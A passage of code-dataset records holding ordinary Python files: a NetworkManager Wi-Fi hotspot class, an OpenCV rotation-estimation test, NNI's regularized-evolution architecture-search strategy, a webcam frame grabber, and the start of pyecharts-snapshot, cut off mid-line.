"django.contrib.auth.models.User.objects", "line_number": 160, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 160, "usage_type": "name"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 164, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 170, "usage_type": "call"}]} {"seq_id": "3628507944", "text": "#!/usr/bin/env python\n\nimport dbus, sys, time\n\nclass AccessPoint:\n 'AP control class'\n ap_state=0\n\n def __init__(self, ssid='netbox', password='12345678', iface='wlan0'):\n self.ssid = ssid\n self.password = password\n our_uuid = '2b0d0f1d-b79d-43af-bde1-71744625642e'\n\n s_con = dbus.Dictionary({\n 'type': '802-11-wireless',\n 'uuid': our_uuid,\n 'id': 'Test Hotspot'})\n\n s_wifi = dbus.Dictionary({\n 'ssid': dbus.ByteArray(ssid.encode(\"utf-8\")),\n 'mode': \"ap\",\n 'band': \"bg\",\n 'channel': dbus.UInt32(1)})\n\n s_wsec = dbus.Dictionary({\n 'key-mgmt': 'wpa-psk',\n 'psk': password})\n\n s_ip4 = dbus.Dictionary({'method': 'shared'})\n s_ip6 = dbus.Dictionary({'method': 'ignore'})\n\n con = dbus.Dictionary({\n 'connection': s_con,\n '802-11-wireless': s_wifi,\n '802-11-wireless-security': s_wsec,\n 'ipv4': s_ip4,\n 'ipv6': s_ip6\n })\n bus = dbus.SystemBus()\n service_name = \"org.freedesktop.NetworkManager\"\n proxy = bus.get_object(service_name, \"/org/freedesktop/NetworkManager/Settings\")\n settings = dbus.Interface(proxy, \"org.freedesktop.NetworkManager.Settings\")\n iface = iface\n proxy = bus.get_object(service_name, \"/org/freedesktop/NetworkManager\")\n nm = dbus.Interface(proxy, \"org.freedesktop.NetworkManager\")\n devpath = nm.GetDeviceByIpIface(iface)\n\n self.our_uuid = our_uuid\n self.con = con\n self.settings = settings\n self.bus = bus\n self.nm = nm\n self.devpath = devpath\n self.service_name = service_name\n \n def up(self):\n \n # Find our existing hotspot connection\n connection_path = None\n for path in self.settings.ListConnections():\n proxy = self.bus.get_object(self.service_name, path)\n settings_connection = dbus.Interface(proxy, \"org.freedesktop.NetworkManager.Settings.Connection\")\n config = settings_connection.GetSettings()\n if config['connection']['uuid'] == self.our_uuid:\n connection_path = path\n break\n\n # If the hotspot connection didn't already exist, add it\n if not connection_path:\n connection_path = self.settings.AddConnection(self.con)\n \n proxy = self.bus.get_object(self.service_name, self.devpath)\n acpath = self.nm.ActivateConnection(connection_path, self.devpath, \"/\")\n proxy = self.bus.get_object(self.service_name, acpath)\n active_props = dbus.Interface(proxy, \"org.freedesktop.DBus.Properties\")\n\n # Wait for the hotspot to start up\n start = time.time()\n while time.time() < start + 10:\n state = active_props.Get(\"org.freedesktop.NetworkManager.Connection.Active\", \"State\")\n if state == 2: # NM_ACTIVE_CONNECTION_STATE_ACTIVATED\n print(\"Access point started\")\n AccessPoint.ap_state = 1\n return AccessPoint.ap_state\n time.sleep(1)\n print(\"Failed to start access point\")\n AccessPoint.ap_state = 0\n \n return AccessPoint.ap_state\n\n def down(self):\n proxy = self.bus.get_object(self.service_name, self.devpath)\n device = dbus.Interface(proxy, \"org.freedesktop.NetworkManager.Device\")\n\n device.Disconnect()\n AccessPoint.ap_state = 0\n\n return AccessPoint.ap_state\n\n", "repo_name": "shaunmulligan/internet-box", "sub_path": "connectivity/app/accesspoint.py", "file_name": "accesspoint.py", "file_ext": "py", "file_size_in_byte": 3547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dbus.Dictionary", "line_number": 14, "usage_type": "call"}, {"api_name": "dbus.Dictionary", "line_number": 19, "usage_type": "call"}, {"api_name": "dbus.ByteArray", "line_number": 20, "usage_type": "call"}, {"api_name": "dbus.UInt32", "line_number": 23, "usage_type": "call"}, {"api_name": "dbus.Dictionary", "line_number": 25, "usage_type": "call"}, {"api_name": "dbus.Dictionary", "line_number": 29, "usage_type": "call"}, {"api_name": "dbus.Dictionary", "line_number": 30, "usage_type": "call"}, {"api_name": "dbus.Dictionary", "line_number": 32, "usage_type": "call"}, {"api_name": "dbus.SystemBus", "line_number": 39, "usage_type": "call"}, {"api_name": "dbus.Interface", "line_number": 42, "usage_type": "call"}, {"api_name": "dbus.Interface", "line_number": 45, "usage_type": "call"}, {"api_name": "dbus.Interface", "line_number": 62, "usage_type": "call"}, {"api_name": "dbus.Interface", "line_number": 75, "usage_type": "call"}, {"api_name": "time.time", "line_number": 78, "usage_type": "call"}, {"api_name": "time.time", "line_number": 79, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 85, "usage_type": "call"}, {"api_name": "dbus.Interface", "line_number": 93, "usage_type": "call"}]} {"seq_id": "74870268061", "text": "# ECC vs. Ellipse Method using Synthetic Rotation\n\nimport cv2\nimport matplotlib.pyplot as plt\nfrom time import perf_counter\nimport numpy as np\nimport math\n\n# references:\n# https://www.learnopencv.com/image-alignment-ecc-in-opencv-c-python/\n\ndef process(img, draw=False):\n blur = cv2.blur(img, (15, 15))\n th = int(round(0.7 * np.median(blur)))\n _, thresh = cv2.threshold(blur, th, 255, cv2.THRESH_BINARY_INV)\n\n im2, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n\n if draw:\n plt.imshow(img)\n plt.show()\n plt.imshow(blur)\n plt.show()\n plt.imshow(thresh)\n plt.show()\n\n return contours\n\ndef noisify(frame, amp=1, jitter=1):\n noise = amp*np.random.randn(*frame.shape)\n\n with_noise = noise + frame.astype(float)\n with_noise = np.clip(with_noise, 0, 255)\n with_noise = with_noise.astype(np.uint8)\n\n tx = jitter*np.random.randn()\n ty = jitter*np.random.randn()\n M = np.float32([[1, 0, tx], [0, 1, ty]])\n translated = cv2.warpAffine(with_noise, M, frame.shape)\n\n return translated\n\ndef rotate(frame, angle):\n rows, cols = frame.shape\n M = cv2.getRotationMatrix2D((int(cols / 2), int(rows / 2)), angle % 360, 1)\n rotated = cv2.warpAffine(frame, M, frame.shape)\n\n return rotated\n\ndef dist_to_center(c, shape):\n rows, cols = shape\n cx0 = cols/2\n cy0 = rows/2\n\n M = cv2.moments(c)\n if M['m00'] == 0:\n return float('inf')\n\n cx = int(M['m10'] / M['m00'])\n cy = int(M['m01'] / M['m00'])\n\n return math.hypot(cx-cx0, cy-cy0)\n\ndef main():\n # testing parameters\n total_a = 200\n sigma_a = 1\n should_draw = False\n tdraw = 42\n\n # directory names\n infile = 'test_frame.bmp'\n\n # cropping parameters\n cx0 = 278\n cy0 = 236\n hw = 200\n\n # ROI size for ECC fit\n roi_x = 50\n roi_y = 50\n\n ######################\n # main code below\n ######################\n\n # read image\n frame = cv2.imread(infile, 0)\n\n # reshape frame to a square\n rows, cols = frame.shape\n frame = frame[cy0-hw:cy0+hw, cx0-hw:cx0+hw]\n\n # loop storage\n last_roi = None\n ellipse_angles = np.zeros(total_a)\n warp_angles = np.zeros(total_a-1)\n\n # generate angular positions\n avec = sigma_a*np.random.randn(total_a)\n\n # profiling\n duration = 0\n runs = 0\n\n for k in range(total_a):\n rotated = rotate(frame, avec[k])\n img = noisify(rotated)\n\n if should_draw:\n cv2.imshow('image', img)\n cv2.waitKey(tdraw)\n\n ### start timer\n tic = perf_counter()\n ###\n\n # find possible fly contours in image\n contours = process(img)\n assert len(contours) > 0\n\n # crude selection criteria for fly contour -- just pick the one closest to center\n match = min(contours, key=lambda c: dist_to_center(c, img.shape))\n\n # crude adjustment of ellipse angle\n (cx, cy), (sx, sy), ellipse_angle = cv2.fitEllipse(match)\n if ellipse_angle > 90:\n ellipse_angle = 180 - ellipse_angle\n else:\n ellipse_angle *= -1\n\n ellipse_angles[k] = ellipse_angle\n\n # crop ROI for ECC fitting\n cx = int(round(cx))\n cy = int(round(cy))\n roi = img[cy-roi_y:cy+roi_y, cx-roi_x:cx+roi_x]\n\n # run ECC fitting algorithm\n if last_roi is not None:\n warp_matrix = np.eye(2, 3, dtype=np.float32)\n\n try:\n (cc, warp_matrix) = cv2.findTransformECC(roi, last_roi, warp_matrix, cv2.MOTION_EUCLIDEAN)\n except:\n process(img, draw=True)\n raise\n\n warp_angle = math.degrees(math.atan2(warp_matrix[1,0],warp_matrix[0,0]))\n warp_angles[k-1] = warp_angle\n\n # save last ROI image\n last_roi = roi\n\n ### stop timer\n duration += perf_counter() - tic\n runs += 1\n ###\n\n if should_draw:\n cv2.destroyAllWindows()\n\n # ellipse fitting error\n ellipse_angles_error = ellipse_angles - avec\n\n # ECC method error\n warp_angles_error = warp_angles - np.diff(avec)\n\n print('Standard deviations')\n print('Ellipse: {:0.3} deg'.format(np.std(ellipse_angles_error)))\n print('ECC: {:0.3} deg'.format(np.std(warp_angles_error)))\n\n print()\n\n # runtime\n if runs != 0:\n print('Average runtime: {:0.3} ms'.format((duration/runs)*1e3))\n\n # plot zero-mean versions on same axis\n plt.plot(ellipse_angles_error - np.mean(ellipse_angles_error), label='Ellipse')\n plt.plot(warp_angles_error - np.mean(warp_angles_error), label='ECC')\n plt.xlabel('Sample')\n plt.ylabel('Error (deg)')\n plt.title('Ellipse vs. ECC method')\n plt.legend()\n plt.show()\n\nif __name__ == '__main__':\n main()", "repo_name": "ClandininLab/flyvr", "sub_path": "tests/ellipse_vs_ecc.py", "file_name": "ellipse_vs_ecc.py", "file_ext": "py", "file_size_in_byte": 4781, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.blur", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.moments", "line_number": 55, "usage_type": "call"}, {"api_name": "math.hypot", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 100, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 111, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 112, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.fitEllipse", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 141, "usage_type": "attribute"}, {"api_name": "cv2.findTransformECC", "line_number": 144, "usage_type": "call"}, {"api_name": "cv2.MOTION_EUCLIDEAN", "line_number": 144, "usage_type": "attribute"}, {"api_name": "math.degrees", "line_number": 149, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 149, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}]} {"seq_id": "21008283130", "text": "from __future__ import annotations\n\nimport collections\nimport dataclasses\nimport logging\nimport warnings\nimport copy\nfrom typing import Deque\n\nfrom numpy.random import RandomState\n\nfrom nni.mutable import Sample, MutableAnnotation\nfrom nni.nas.execution import ExecutionEngine\nfrom nni.nas.space import ExecutableModelSpace\nfrom nni.typehint import TrialMetric\nfrom nni.nas.execution.event import ModelEvent, ModelEventType\n\nfrom .base import Strategy\nfrom .utils import DeduplicationHelper, RetrySamplingHelper\n\n\n_logger = logging.getLogger(__name__)\n\n\n@dataclasses.dataclass\nclass Individual:\n \"\"\"\n A class that represents an individual.\n Holds two attributes, where ``x`` is the model and ``y`` is the metric (e.g., accuracy).\n \"\"\"\n x: Sample\n y: TrialMetric\n\n\nclass RegularizedEvolution(Strategy):\n \"\"\"\n Algorithm for regularized evolution (i.e. aging evolution).\n Follows \"Algorithm 1\" in Real et al. \"Regularized Evolution for Image Classifier Architecture Search\",\n with several enhancements.\n\n Sample in this algorithm are called *individuals*.\n Specifically, the first ``population_size`` individuals are randomly sampled from the search space,\n and the rest are generated via a selection and mutation process.\n While new individuals are added to the population, the oldest one is removed to keep the population size constant.\n\n Parameters\n ----------\n population_size\n The number of individuals to keep in the population.\n sample_size\n The number of individuals that should participate in each tournament.\n When mutate, ``sample_size`` individuals can randomly selected from the population,\n and the best one among them will be treated as the parent.\n mutation_prob\n Probability that mutation happens in each dim.\n crossover\n If ``True``, the new individual will be a crossover between winners of two individual tournament.\n That means, two sets of ``sample_size`` individuals will be randomly selected from the population,\n and the best one in each set will be used as parents.\n Every dimension will be randomly selected from one of the parents.\n dedup\n Enforce one sample to never appear twice.\n The population might be smaller than ``population_size`` if this is set to ``True`` and the search space is small.\n seed\n Random seed.\n \"\"\"\n\n def __init__(self, *,\n population_size: int = 100,\n sample_size: int = 25,\n mutation_prob: float = 0.05,\n crossover: bool = False,\n dedup: bool = True,\n seed: int | None = None,\n **kwargs):\n super().__init__()\n\n if 'on_failure' in kwargs or 'cycles' in kwargs or 'model_filter' in kwargs or \\\n 'optimize_mode' in kwargs or 'dedup_retries' in kwargs:\n warnings.warn('on_failure, cycles, mode_filter, optimize_mode, dedup_retries are deprecated '\n 'and will be removed in the future. Specifying them has no effect now.', DeprecationWarning)\n raise NotImplementedError('on_failure != \"ignore\" or cycles is not None is not supported yet.')\n\n if not 1 <= sample_size <= population_size:\n raise ValueError('sample_size must be smaller than population_size and greater than 0.')\n\n self.population_size = population_size\n self.sample_size = sample_size\n self.mutation_prob = mutation_prob\n self.crossover = crossover\n\n self._dedup_helper = DeduplicationHelper(raise_on_dup=True) if dedup else None\n self._retry_helper = RetrySamplingHelper()\n\n # Current population. All finished running.\n self._population: Deque[Individual] = collections.deque()\n # Models that are still running. Not in the population.\n self._running_models: list[ExecutableModelSpace] = []\n\n self._random_state = RandomState(seed)\n\n self._individual_counter = 0\n\n def extra_repr(self) -> str:\n return f'population_size={self.population_size}, sample_size={self.sample_size}, ' + \\\n f'mutation_prob={self.mutation_prob}, crossover={self.crossover}, ' + \\\n f'dedup={self._dedup_helper is not None}'\n\n def random(self) -> ExecutableModelSpace:\n \"\"\"Get a new sample via random sampling.\"\"\"\n sample: Sample = {}\n model = self.model_space.random(memo=sample, random_state=self._random_state)\n if self._dedup_helper is not None:\n self._dedup_helper.dedup(sample)\n self._individual_counter += 1\n _logger.info('[Individual %4d] Random: %s', self._individual_counter, sample)\n return model\n\n def new_individual(self) -> ExecutableModelSpace:\n \"\"\"Get a new sample via mutation from the parent sample.\"\"\"\n\n if self.crossover:\n parent1 = self.best_parent()\n parent2 = self.best_parent()\n if set(parent1.keys()) != set(parent2.keys()):\n raise ValueError(f'Parents have different keys: {parent1.keys()} and {parent2.keys()}.')\n # Crossover to get a \"parent\".\n parent = copy.copy(parent1)\n for key, value in parent2.items():\n # Each dimension has 50% chance to be inherited from parent2.\n if self._random_state.uniform(0, 1) < 0.5:\n parent[key] = value\n else:\n parent = self.best_parent()\n\n space = self.model_space.simplify()\n\n sample = copy.copy(parent)\n for key, mutable in space.items():\n if isinstance(mutable, MutableAnnotation):\n # Skip annotations because resampling them are meaningless.\n continue\n if key not in sample:\n raise KeyError(f'Key {key} not found in parent sample {parent}.')\n if self._random_state.uniform(0, 1) < self.mutation_prob:\n # NOTE: we do not exclude the original choice here for simplicity,\n # which is slightly different from the original paper.\n sample[key] = mutable.random(random_state=self._random_state)\n\n # Reject duplicate samples here, raise error for retry if duplicate.\n if self._dedup_helper is not None:\n self._dedup_helper.dedup(sample)\n\n # Reject invalid samples here.\n model = self.model_space.freeze(sample)\n\n self._individual_counter += 1\n _logger.info('[Individual %4d] Mutated: %s', self._individual_counter, sample)\n return model\n\n def best_parent(self) -> Sample:\n \"\"\"Get the best individual from a randomly sampled subset of the population.\"\"\"\n samples = list(self._population)\n samples = [samples[i] for i in self._random_state.permutation(len(samples))[:self.sample_size]]\n parent = max(samples, key=lambda sample: sample.y).x\n _logger.debug('Parent picked: %s', parent)\n return parent\n\n def _initialize(self, model_space: ExecutableModelSpace, engine: ExecutionEngine) -> ExecutableModelSpace:\n engine.register_model_event_callback(ModelEventType.TrainingEnd, self._training_end_callback)\n return model_space\n\n def _cleanup(self) -> None:\n _logger.debug('Unregistering event callbacks...')\n self.engine.unregister_model_event_callback(ModelEventType.TrainingEnd, self._training_end_callback)\n\n def _run(self) -> None:\n _logger.info('Spawning the initial population. %d individuals to go.', self.population_size - len(self._population))\n while len(self._population) + len(self._running_models) < self.population_size:\n if not self.wait_for_resource():\n return\n\n model = self._retry_helper.retry(self.random)\n if model is None:\n _logger.warning('Cannot find a new model to submit. Stop.')\n return\n\n self._running_models.append(model)\n self.engine.submit_models(model)\n\n # Mutation of models\n _logger.info('Spawning mutated individuals.')\n # Find a resource here.\n # Ideally it should lock the resource (if multiple strategies share one engine).\n while self.wait_for_resource():\n model = self._retry_helper.retry(self.new_individual)\n if model is None:\n _logger.warning('Cannot find a new model to submit. Stop.')\n return\n\n self._running_models.append(model)\n self.engine.submit_models(model)\n\n _logger.debug('Waiting for all the models to change status...')\n self.engine.wait_models() # Wait for the rest of the population.\n\n def state_dict(self) -> dict:\n dedup_state = self._dedup_helper.state_dict() if self._dedup_helper is not None else {}\n return {\n 'population': list(self._population),\n 'individual_counter': self._individual_counter,\n 'random_state': self._random_state.get_state(),\n 'num_running_models': len(self._running_models),\n **dedup_state\n }\n\n def load_state_dict(self, state_dict: dict) -> None:\n if self._dedup_helper is not None:\n self._dedup_helper.load_state_dict(state_dict)\n\n if state_dict.get('num_running_models', 0) > 0:\n _logger.warning('Loaded state dict has %d running models. They will be ignored.', state_dict['num_running_models'])\n # TODO: Unfinished models are in the state of dedup, but they shouldn't be deduped.\n # They should be tried again when the strategy resumes.\n self._population = collections.deque(state_dict['population'])\n self._individual_counter = state_dict['individual_counter']\n self._random_state.set_state(state_dict['random_state'])\n\n def _training_end_callback(self, event: ModelEvent) -> None:\n # NOTE: It would be better if there's a thread lock here.\n # However, I don't think it will do much harm if we don't have it.\n if event.model in self._running_models:\n self._running_models.remove(event.model)\n if event.model.metric is not None:\n _logger.info('[Metric] %f Sample: %s', event.model.metric, event.model.sample)\n # Even if it fails, as long as it has a metric, we add it to the population.\n assert event.model.sample is not None\n self._population.append(Individual(event.model.sample, event.model.metric))\n _logger.debug('New individual added to population: %s', self._population[-1])\n if len(self._population) > self.population_size:\n self._population.popleft()\n else:\n _logger.warning('%s has no metric. Skip.', event.model)\n else:\n _logger.warning('%s is not in the running list. Ignore.', event.model)\n", "repo_name": "microsoft/nni", "sub_path": "nni/nas/strategy/evolution.py", "file_name": "evolution.py", "file_ext": "py", "file_size_in_byte": 10922, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13409, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "nni.mutable.Sample", "line_number": 31, "usage_type": "name"}, {"api_name": "nni.typehint.TrialMetric", "line_number": 32, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 25, "usage_type": "attribute"}, {"api_name": "base.Strategy", "line_number": 35, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.DeduplicationHelper", "line_number": 92, "usage_type": "call"}, {"api_name": "utils.RetrySamplingHelper", "line_number": 93, "usage_type": "call"}, {"api_name": "typing.Deque", "line_number": 96, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 96, "usage_type": "call"}, {"api_name": "nni.nas.space.ExecutableModelSpace", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.random.RandomState", "line_number": 100, "usage_type": "call"}, {"api_name": "nni.mutable.Sample", "line_number": 111, "usage_type": "name"}, {"api_name": "nni.nas.space.ExecutableModelSpace", "line_number": 109, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 128, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 138, "usage_type": "call"}, {"api_name": "nni.mutable.MutableAnnotation", "line_number": 140, "usage_type": "argument"}, {"api_name": "nni.nas.space.ExecutableModelSpace", "line_number": 119, "usage_type": "name"}, {"api_name": "nni.mutable.Sample", "line_number": 161, "usage_type": "name"}, {"api_name": "nni.nas.space.ExecutableModelSpace", "line_number": 169, "usage_type": "name"}, {"api_name": "nni.nas.execution.ExecutionEngine", "line_number": 169, "usage_type": "name"}, {"api_name": "nni.nas.execution.event.ModelEventType.TrainingEnd", "line_number": 170, "usage_type": "attribute"}, {"api_name": "nni.nas.execution.event.ModelEventType", "line_number": 170, "usage_type": "name"}, {"api_name": "nni.nas.execution.event.ModelEventType.TrainingEnd", "line_number": 175, "usage_type": "attribute"}, {"api_name": "nni.nas.execution.event.ModelEventType", "line_number": 175, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 225, "usage_type": "call"}, {"api_name": "nni.nas.execution.event.ModelEvent", "line_number": 229, "usage_type": "name"}]} {"seq_id": "34716975202", "text": "import cv2\nimport os\n\n# Create a directory to save the captured frames\noutput_directory = 'Arpan'\nos.makedirs(output_directory, exist_ok=True)\n\n# Initialize the camera\ncap = cv2.VideoCapture(0) # 0 is usually the default camera\n\nframe_count = 0\nmax_frames = 200\n\nwhile frame_count < max_frames:\n ret, frame = cap.read()\n \n if not ret:\n print(\"Failed to capture frame.\")\n continue\n\n frame_count += 1\n\n resized_frame = cv2.resize(frame, (416, 416))\n\n frame_filename = os.path.join(output_directory, f\"{frame_count}.jpg\")\n \n # Save the frame as an image\n cv2.imwrite(frame_filename, resized_frame)\n \n # Display the frame (optional)\n cv2.imshow('Frame', frame)\n\n if cv2.waitKey(1) & 0xFF == 27: # Press 'Esc' to exit\n break\n\n# Release the camera and close all OpenCV windows\ncap.release()\ncv2.destroyAllWindows()\n\nprint(f\"Captured {frame_count} frames. Stopping the program.\")\n", "repo_name": "RabisankarRobotics/Image_Rename_and_Frame_capture-", "sub_path": "frame_capture.py", "file_name": "frame_capture.py", "file_ext": "py", "file_size_in_byte": 935, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.makedirs", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 38, "usage_type": "call"}]} {"seq_id": "24730532906", "text": "import os\nimport sys\nimport base64\nimport codecs\nimport asyncio\nfrom io import BytesIO\n\nimport pyecharts_snapshot.logger as logger\nfrom PIL import Image\nfrom pyppeteer import launch\n\nDEFAULT_DELAY = 1.5\nDEFAULT_PIXEL_RATIO = 2\nPNG_FORMAT = \"png\"\nJPG_FORMAT = \"jpeg\"\nGIF_FORMAT = \"gif\"\nPDF_FORMAT = \"pdf\"\nSVG_FORMAT = \"svg\"\nEPS_FORMAT = \"eps\"\nB64_FORMAT = \"base64\"\n\nSUPPORTED_IMAGE_FORMATS = [\n PNG_FORMAT,\n JPG_FORMAT,\n GIF_FORMAT,\n PDF_FORMAT,\n SVG_FORMAT,\n EPS_FORMAT,\n B64_FORMAT,\n]\n\nHELP_TEXT = \"\"\"\nUsage: snapshot input file [%s] [delay] [pixel ratio]\n snapshot help: display this help message\nParameters:\n delay: float value, unit in seconds and defaults 1.5 seconds\n pixel ratio: integer value, defaults to 2\n document online:github.com/pyecharts/pyecharts-snapshot\n\"\"\".format(\n \"|\".join(SUPPORTED_IMAGE_FORMATS)\n)\nDEFAULT_OUTPUT_NAME = \"output.%s\"\nNOT_SUPPORTED_FILE_TYPE = \"Not supported file type '%s'\"\n\nMESSAGE_GENERATING = \"Generating file ...\"\nMESSAGE_FILE_SAVED_AS = \"File saved in %s\"\nSNAPSHOT_JS = \"\"\"\nasync () => {\n const getEcharts = () => {\n var ele = document.querySelector('div[_echarts_instance_]');\n var mychart = echarts.getInstanceByDom(ele);\n return mychart.getDataURL({\n type: '%s',\n pixelRatio: %s,\n excludeComponents: ['toolbox']\n });\n }\n\n const delayedFunction = () => {\n return new Promise(function(resolve, reject){\n window.setTimeout(() => resolve(getEcharts()), %d);\n });\n }\n return await delayedFunction();\n}\n\"\"\"\n\nSNAPSHOT_SVG_JS = \"\"\"\nasync () => {\n const getEcharts = () => {\n var element = document.querySelector('div[_echarts_instance_] div');\n return element.innerHTML;\n }\n const delayedFunction = () => {\n return new Promise(function(resolve, reject){\n window.setTimeout(() => resolve(getEcharts()), %d);\n });\n }\n return await delayedFunction();\n}\n\"\"\"\n\n\ndef main():\n asyncio.get_event_loop().run_until_complete(_main())\n\n\nasync def _main():\n if len(sys.argv) < 2 or len(sys.argv) > 5:\n show_help()\n file_name = sys.argv[1]\n if file_name == \"help\":\n show_help()\n delay = DEFAULT_DELAY\n output = DEFAULT_OUTPUT_NAME % PNG_FORMAT\n pixel_ratio = DEFAULT_PIXEL_RATIO\n if len(sys.argv) >= 3:\n file_type = sys.argv[2]\n if file_type in SUPPORTED_IMAGE_FORMATS:\n output = DEFAULT_OUTPUT_NAME % file_type\n elif file_type != PNG_FORMAT:\n raise TypeError(NOT_SUPPORTED_FILE_TYPE % file_type)\n if len(sys.argv) >= 4:\n delay = float(sys.argv[3]) # in seconds\n if len(sys.argv) == 5:\n pixel_ratio = sys.argv[4]\n await make_a_snapshot(\n file_name, output, delay=delay, pixel_ratio=pixel_ratio\n )\n\n\ndef show_help():\n logger.info(HELP_TEXT)\n exit(0)\n\n\nasync def make_a_snapshot(\n file_name: str,\n output_name: str,\n delay: float = DEFAULT_DELAY,\n pixel_ratio: int = DEFAULT_PIXEL_RATIO,\n verbose: bool = True,\n):\n logger.VERBOSE = verbose\n logger.info(MESSAGE_GENERATING)\n file_type = output_name.split(\".\")[-1]\n\n content = await async_make_snapshot(\n file_name, file_type, pixel_ratio, delay\n )\n\n if file_type in [SVG_FORMAT, 